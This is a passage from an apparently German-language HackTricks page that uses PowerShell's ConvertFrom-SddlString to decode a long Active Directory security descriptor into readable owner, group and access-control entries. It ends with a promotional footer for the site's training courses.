;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;
```powershell
PS C:\> ConvertFrom-SddlString "O:BAG:BAD:AI(D;;DC;;;WD)(OA;CI;CR;ab721a53-1e2f-11d0-9819-00aa0040529b;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CR;00299570-246d-11d0-a768-00aa006e0529;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;CCDCLC;c975c901-6cea-4b6f-8319-d67f45449506;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CIIO;CCDCLC;c975c901-6cea-4b6f-8319-d67f45449506;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;;CR;3e0f7e18-2c7a-4c10-ba82-4d926db99a3e;;S-1-5-21-3842939050-3880317879-2865463114-522)(OA;;CR;1131f6aa-9c07-11d1-f79f-00c04fc2dcd2;;S-1-5-21-3842939050-3880317879-2865463114-498)(OA;;CR;1131f6ab-9c07-11d1-f79f-00c04fc2dcd2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;;CR;1131f6ad-9c07-11d1-f79f-00c04fc2dcd2;;DD)(OA;CI;CR;89e95b76-444d-4c62-991a-0facbeda640c;;S-1-5-21-3842939050-3880317879-2865463114-1164)(OA;CI;CR;1131f6aa-9c07-11d1-f79f-00c04fc2dcd2;;S-1-5-21-3842939050-3880317879-2865463114-1164)(OA;CI;CR;1131f6ad-9c07-11d1-f79f-00c04fc2dcd2;;S-1-5-21-3842939050-3880317879-2865463114-1164)(OA;CI;CC;4828cc14-1437-45bc-9b07-ad6f015e5f28;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;bf967a86-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;bf967a9c-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;bf967aa5-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;bf967aba-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;5cb41ed0-0e4c-11d0-a286-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;RP;4c164200-20c0-11d0-a768-00aa006e0529;;S-1-5-21-3842939050-3880317879-2865463114-5181)(OA;CI;RP;b1b3a417-ec55-4191-b327-b72e33e38af2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;9a7ad945-ca53-11d1-bbd0-0080c76670c0;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;bf967a68-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;1f298a89-de98-47b8-b5cd-572ad53d267e;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;bf967991-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;5fd424a1-1262-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;bf967a06-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf967a06-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf967a0a-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;3e74f60e-3e73-11d1-a9c0-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;3e74f60e-3e73-11d1-a9c0-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;b1b3a417-ec55-4191-b327-b72e33e38af2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;b1b3a417-ec55-4191-b327-b72e33e38af2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf96791a-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf96791a-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;9a9a021e-4a5b-11d1-a9c3-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;0296c120-40da-11d1-a9c0-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;934de926-b09e-11d2-aa06-00c04f8eedd8;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;5e353847-f36c-48be-a7f7-49685402503c;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;8d3bca50-1d7e-11d0-a081-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;bf967953-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf967953-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;e48d0154-bcf8-11d1-8702-00c04fb96050;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;275b2f54-982d-4dcd-b0ad-e53501445efb;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;bf967954-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf967954-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf967961-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf967961-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf967a68-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;5fd42471-1262-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;5430e777-c3ea-4024-902e-dde192204669;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;6f606079-3a82-4c1b-8efb-dcc8c91d26fe;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;bf967a7a-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;bf967a7f-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;614aea82-abc6-4dd0-a148-d67a59c72816;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;66437984-c3c5-498f-b269-987819ef484b;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;77b5b886-944a-11d1-aebd-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;a8df7489-c5ea-11d1-bbcb-0080c76670c0;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;a8df7489-c5ea-11d1-bbcb-0080c76670c0;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;1f298a89-de98-47b8-b5cd-572ad53d267e;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;1f298a89-de98-47b8-b5cd-572ad53d267e;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;f0f8ff9a-1191-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;f0f8ff9a-1191-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;f0f8ff9a-1191-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;2cc06e9d-6f7e-426a-8825-0215de176e11;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;5fd424a1-1262-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;5fd424a1-1262-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;3263e3b8-fd6b-4c60-87f2-34bdaa9d69eb;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;28630ebc-41d5-11d1-a9c1-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;28630ebc-41d5-11d1-a9c1-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf9679c0-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;3e0abfd0-126a-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;7cb4c7d3-8787-42b0-b438-3c5d479ad31e;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RPWP;5b47d60f-6090-40b2-9f37-2a4de88f3063;;S-1-5-21-3842939050-3880317879-2865463114-526)(OA;CI;RPWP;5b47d60f-6090-40b2-9f37-2a4de88f3063;;S-1-5-21-3842939050-3880317879-2865463114-527)(OA;CI;DTWD;;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;DTWD;;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CCDCLCRPWPLO;f0f8ffac-1191-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;CCDCLCRPWPLO;e8b2aff2-59a7-4eac-9a70-819adef701dd;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;CCDCLCSWRPWPDTLOCRSDRCWDWO;018849b0-a981-11d2-a9ff-00c04f8eedd8;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;CCDCLCSWRPWPDTLOCRSDRCWDWO;018849b0-a981-11d2-a9ff-00c04f8eedd8;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CIIO;SD;;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;SD;;bf967a86-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;SD;;bf967a9c-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;SD;;bf967aa5-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;SD;;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;SD;;5cb41ed0-0e4c-11d0-a286-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;WD;;bf967a9c-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CIIO;SW;9b026da6-0d3c-465c-8bee-5199d7165cba;bf967a86-0de6-11d0-a285-00aa003049e2;CO)(OA;CIIO;SW;9b026da6-0d3c-465c-8bee-5199d7165cba;bf967a86-0de6-11d0-a285-00aa003049e2;PS)(OA;CIIO;RP;b7c69e6d-2cc7-11d2-854e-00a0c983f608;bf967a86-0de6-11d0-a285-00aa003049e2;ED)(OA;CIIO;RP;b7c69e6d-2cc7-11d2-854e-00a0c983f608;bf967a9c-0de6-11d0-a285-00aa003049e2;ED)(OA;CIIO;RP;b7c69e6d-2cc7-11d2-854e-00a0c983f608;bf967aba-0de6-11d0-a285-00aa003049e2;ED)(OA;CIIO;WP;ea1b7b93-5e48-46d5-bc6c-4df4fda78a35;bf967a86-0de6-11d0-a285-00aa003049e2;PS)(OA;CIIO;CCDCLCSWRPWPDTLOCRSDRCWDWO;;c975c901-6cea-4b6f-8319-d67f45449506;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CIIO;CCDCLCSWRPWPDTLOCRSDRCWDWO;;f0f8ffac-1191-11d0-a060-00aa006c33ed;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CINPIO;RPWPLOSD;;e8b2aff2-59a7-4eac-9a70-819adef701dd;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;;CR;89e95b76-444d-4c62-991a-0facbeda640c;;BA)(OA;;CR;1131f6aa-9c07-11d1-f79f-00c04fc2dcd2;;BA)(OA;;CR;1131f6ab-9c07-11d1-f79f-00c04fc2dcd2;;BA)(OA;;CR;1131f6ac-9c07-11d1-f79f-00c04fc2dcd2;;BA)(OA;;CR;1131f6ad-9c07-11d1-f79f-00c04fc2dcd2;;BA)(OA;;CR;1131f6ae-9c07-11d1-f79f-00c04fc2dcd2;;BA)(OA;;CR;e2a36dc9-ae17-47c3-b58b-be34c55ba633;;S-1-5-32-557)(OA;CIIO;LCRPLORC;;4828cc14-1437-45bc-9b07-ad6f015e5f28;RU)(OA;CIIO;LCRPLORC;;bf967a9c-0de6-11d0-a285-00aa003049e2;RU)(OA;CIIO;LCRPLORC;;bf967aba-0de6-11d0-a285-00aa003049e2;RU)(OA;;CR;05c74c5e-4deb-43b4-bd9f-86664c2a7fd5;;AU)(OA;;CR;89e95b76-444d-4c62-991a-0facbeda640c;;ED)(OA;;CR;ccc2dc7d-a6ad-4a7a-8846-c04e3cc53501;;AU)(OA;;CR;280f369c-67c7-438e-ae98-1d46f3c6f541;;AU)(OA;;CR;1131f6aa-9c07-11d1-f79f-00c04fc2dcd2;;ED)(OA;;CR;1131f6ab-9c07-11d1-f79f-00c04fc2dcd2;;ED)(OA;;CR;1131f6ac-9c07-11d1-f79f-00c04fc2dcd2;;ED)(OA;;CR;1131f6ae-9c07-11d1-f79f-00c04fc2dcd2;;ED)(OA;CI;RP;b1b3a417-ec55-4191-b327-b72e33e38af2;;NS)(OA;CI;RP;1f298a89-de98-47b8-b5cd-572ad53d267e;;AU)(OA;CI;RPWP;3f78c3e5-f79a-46bd-a0b8-9d18116ddc79;;PS)(OA;CIIO;RPWPCR;91e647de-d96f-4b70-9557-d63ff4f3ccd8;;PS)(A;;CCLCSWRPWPLOCRRCWDWO;;;DA)(A;CI;LCSWRPWPRC;;;S-1-5-21-3842939050-3880317879-2865463114-5213)(A;CI;LCRPLORC;;;S-1-5-21-3842939050-3880317879-2865463114-5172)(A;CI;LCRPLORC;;;S-1-5-21-3842939050-3880317879-2865463114-5187)(A;CI;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3842939050-3880317879-2865463114-519)(A;;RPRC;;;RU)(A;CI;LC;;;RU)(A;CI;CCLCSWRPWPLOCRSDRCWDWO;;;BA)(A;;RP;;;WD)(A;;LCRPLORC;;;ED)(A;;LCRPLORC;;;AU)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;SY)(A;CI;LCRPWPRC;;;AN)S:(OU;CISA;WP;f30e3bbe-9ff0-11d1-b603-0000f80367c1;bf967aa5-0de6-11d0-a285-00aa003049e2;WD)(OU;CISA;WP;f30e3bbf-9ff0-11d1-b603-0000f80367c1;bf967aa5-0de6-11d0-a285-00aa003049e2;WD)(AU;SA;CR;;;DU)(AU;SA;CR;;;BA)(AU;SA;WPWDWO;;;WD)"
Eigentümer : BUILTIN\Administrators
Gruppe : BUILTIN\Administrators
DiscretionaryAcl : {Everyone: AccessDenied (WriteData), Everyone: AccessAllowed (WriteExtendedAttributes), NT
AUTHORITY\ANONYMOUS LOGON: AccessAllowed (CreateDirectories, GenericExecute, ReadPermissions,
Traverse, WriteExtendedAttributes), NT AUTHORITY\ENTERPRISE DOMAIN CONTROLLERS: AccessAllowed
(CreateDirectories, GenericExecute, GenericRead, ReadAttributes, ReadPermissions,
WriteExtendedAttributes)...}
SystemAcl : {Everyone: SystemAudit SuccessfulAccess (ChangePermissions, TakeOwnership, Traverse),
BUILTIN\Administrators: SystemAudit SuccessfulAccess (WriteAttributes), DOMAIN_NAME\Domain Users:
SystemAudit SuccessfulAccess (WriteAttributes), Everyone: SystemAudit SuccessfulAccess
(Traverse)...}
RawDescriptor : System.Security.AccessControl.CommonSecurityDescriptor
<details>
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
</details>